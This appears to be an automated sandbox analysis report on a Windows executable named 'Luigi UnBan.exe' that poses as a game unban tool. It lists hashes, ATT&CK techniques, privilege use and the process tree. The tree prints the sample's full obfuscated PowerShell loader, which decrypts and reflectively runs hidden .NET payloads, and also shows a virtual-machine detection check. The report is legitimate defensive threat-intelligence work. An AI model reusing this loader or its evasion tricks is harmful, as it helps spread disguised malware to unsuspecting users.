0f3a0a876e198379b45b75a0c06ee8f3cab91eb26fd868fab769ed72b804f600

Analysis

max time kernel
150s
max time network
138s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
12-11-2024 05:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Luigi UnBan.exe
Size

178.2MB
MD5

fdaf5b201a0e1c706e755cf2dcf6adb4
SHA1

015461363ad9a3897d2ea5deda2fa44fe57756f3
SHA256

0f3a0a876e198379b45b75a0c06ee8f3cab91eb26fd868fab769ed72b804f600
SHA512

cc0e9a65170e318a4faad0a28aa7458dc0367027b7419049b0dce2baa1df535e7f776395b904be8466b055b1a40a97317cead9adb96afde637e82343f4d1ba91
SSDEEP

1572864:3gm3YzFXmdksvLt/u5ZnKBE5MoDNU0gj67dnHE7:3gm3YYdkqZu6E5Mg7dK

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2008	powershell.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Luigi UnBan.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Luigi UnBan.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Luigi UnBan.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2008	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2316	Luigi UnBan.exe

Suspicious use of AdjustPrivilegeToken 41 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2156	WMIC.exe
Token: SeSecurityPrivilege	2156	WMIC.exe
Token: SeTakeOwnershipPrivilege	2156	WMIC.exe
Token: SeLoadDriverPrivilege	2156	WMIC.exe
Token: SeSystemProfilePrivilege	2156	WMIC.exe
Token: SeSystemtimePrivilege	2156	WMIC.exe
Token: SeProfSingleProcessPrivilege	2156	WMIC.exe
Token: SeIncBasePriorityPrivilege	2156	WMIC.exe
Token: SeCreatePagefilePrivilege	2156	WMIC.exe
Token: SeBackupPrivilege	2156	WMIC.exe
Token: SeRestorePrivilege	2156	WMIC.exe
Token: SeShutdownPrivilege	2156	WMIC.exe
Token: SeDebugPrivilege	2156	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2156	WMIC.exe
Token: SeRemoteShutdownPrivilege	2156	WMIC.exe
Token: SeUndockPrivilege	2156	WMIC.exe
Token: SeManageVolumePrivilege	2156	WMIC.exe
Token: 33	2156	WMIC.exe
Token: 34	2156	WMIC.exe
Token: 35	2156	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2156	WMIC.exe
Token: SeSecurityPrivilege	2156	WMIC.exe
Token: SeTakeOwnershipPrivilege	2156	WMIC.exe
Token: SeLoadDriverPrivilege	2156	WMIC.exe
Token: SeSystemProfilePrivilege	2156	WMIC.exe
Token: SeSystemtimePrivilege	2156	WMIC.exe
Token: SeProfSingleProcessPrivilege	2156	WMIC.exe
Token: SeIncBasePriorityPrivilege	2156	WMIC.exe
Token: SeCreatePagefilePrivilege	2156	WMIC.exe
Token: SeBackupPrivilege	2156	WMIC.exe
Token: SeRestorePrivilege	2156	WMIC.exe
Token: SeShutdownPrivilege	2156	WMIC.exe
Token: SeDebugPrivilege	2156	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2156	WMIC.exe
Token: SeRemoteShutdownPrivilege	2156	WMIC.exe
Token: SeUndockPrivilege	2156	WMIC.exe
Token: SeManageVolumePrivilege	2156	WMIC.exe
Token: 33	2156	WMIC.exe
Token: 34	2156	WMIC.exe
Token: 35	2156	WMIC.exe
Token: SeDebugPrivilege	2008	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2316 wrote to memory of 2412	2316	Luigi UnBan.exe	30
PID 2316 wrote to memory of 2412	2316	Luigi UnBan.exe	30
PID 2316 wrote to memory of 2412	2316	Luigi UnBan.exe	30
PID 2412 wrote to memory of 2156	2412	cmd.exe	32
PID 2412 wrote to memory of 2156	2412	cmd.exe	32
PID 2412 wrote to memory of 2156	2412	cmd.exe	32
PID 2412 wrote to memory of 2428	2412	cmd.exe	33
PID 2412 wrote to memory of 2428	2412	cmd.exe	33
PID 2412 wrote to memory of 2428	2412	cmd.exe	33
PID 2316 wrote to memory of 2436	2316	Luigi UnBan.exe	35
PID 2316 wrote to memory of 2436	2316	Luigi UnBan.exe	35
PID 2316 wrote to memory of 2436	2316	Luigi UnBan.exe	35
PID 2436 wrote to memory of 2008	2436	cmd.exe	37
PID 2436 wrote to memory of 2008	2436	cmd.exe	37
PID 2436 wrote to memory of 2008	2436	cmd.exe	37

C:\Users\Admin\AppData\Local\Temp\Luigi UnBan.exe
"C:\Users\Admin\AppData\Local\Temp\Luigi UnBan.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:2316
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\Win32Temp.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2412
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get Model
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2156
- - C:\Windows\system32\findstr.exe
    findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
    3⤵
    PID:2428
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\Win64Temp.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4pr42IAhLNXaMsLDATuTCXnSN37MkzjWlGCxvlpI204='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mUAA0rhmn7r0Y49Br4h9Tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NWFXD=New-Object System.IO.MemoryStream(,$param_var); $TWFke=New-Object System.IO.MemoryStream; $XkRIU=New-Object System.IO.Compression.GZipStream($NWFXD, [IO.Compression.CompressionMode]::Decompress); $XkRIU.CopyTo($TWFke); $XkRIU.Dispose(); $NWFXD.Dispose(); $TWFke.Dispose(); $TWFke.ToArray();}function execute_function($param_var,$param2_var){ $SgoJi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $obVxl=$SgoJi.EntryPoint; $obVxl.Invoke($null, $param2_var);}$HAian = 'C:\Users\Admin\AppData\Local\Temp\Win64Temp.bat';$host.UI.RawUI.WindowTitle = $HAian;$jwIhR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HAian).Split([Environment]::NewLine);foreach ($fbsbe in $jwIhR) { if ($fbsbe.StartsWith(':: ')) { $Eaalc=$fbsbe.Substring(3); break; }}$payloads_var=[string[]]$Eaalc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Win32Temp.bat

Filesize
7.0MB

MD5
0e7be50d14359ee381e440f14a9b4ddf

SHA1
b3c849e1157eba02e7f0403655db4851623a6f10

SHA256
2d008467a42b452490542f14ce735f0a628a64f3e75d86698d8a8da86d0580bd

SHA512
0e7e5e81e300b544587d7662b4135600673f4230658a7a81e9a295276aa7c4f0cbfc8c75df212616355bc460592373f4d4a7f6d1dc3b7a0594c60e7f5c98f87c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Win64Temp.bat

Filesize
478KB

MD5
09c4764995d1f2e96d0a228743f2425e

SHA1
0a755c43e147141ec0e9d96d243765af66d1e8a0

SHA256
c4db1679718dfb67fb33fcedced456035056f41b68fc071379d27d8bd708e6ab

SHA512
856759d72b6fff895d336acb8f86ac82ad8560f5229c1cd12baf25bf6ea9ee80035d364c69c00e66bbe9678f788a635f837032a92d3f08008a8343dcc992ff6e

Download Submit
memory/2008-183-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2008-182-0x000000001B120000-0x000000001B402000-memory.dmp

Filesize
2.9MB

Download
memory/2316-43-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

Filesize
64KB

Download
memory/2316-62-0x0000000002300000-0x0000000002310000-memory.dmp

Filesize
64KB

Download
memory/2316-35-0x0000000001D60000-0x0000000001D70000-memory.dmp

Filesize
64KB

Download
memory/2316-31-0x00000000049E0000-0x0000000004BB0000-memory.dmp

Filesize
1.8MB

Download
memory/2316-27-0x0000000001D30000-0x0000000001D40000-memory.dmp

Filesize
64KB

Download
memory/2316-24-0x0000000004150000-0x0000000004800000-memory.dmp

Filesize
6.7MB

Download
memory/2316-5-0x0000000002C30000-0x00000000030C0000-memory.dmp

Filesize
4.6MB

Download
memory/2316-70-0x0000000004FE0000-0x0000000005210000-memory.dmp

Filesize
2.2MB

Download
memory/2316-66-0x00000000025A0000-0x00000000025B0000-memory.dmp

Filesize
64KB

Download
memory/2316-39-0x0000000001D90000-0x0000000001DA0000-memory.dmp

Filesize
64KB

Download
memory/2316-58-0x0000000002050000-0x00000000020F0000-memory.dmp

Filesize
640KB

Download
memory/2316-54-0x0000000001FA0000-0x0000000001FB0000-memory.dmp

Filesize
64KB

Download
memory/2316-50-0x0000000001F70000-0x0000000001F80000-memory.dmp

Filesize
64KB

Download
memory/2316-14-0x0000000001BF0000-0x0000000001C00000-memory.dmp

Filesize
64KB

Download
memory/2316-18-0x0000000001C20000-0x0000000001C30000-memory.dmp

Filesize
64KB

Download
memory/2316-22-0x000000013F70D000-0x000000013F70E000-memory.dmp

Filesize
4KB

Download
memory/2316-9-0x000000000CF20000-0x0000000012740000-memory.dmp

Filesize
88.1MB

Download
memory/2316-184-0x000000013F70D000-0x000000013F70E000-memory.dmp

Filesize
4KB

Download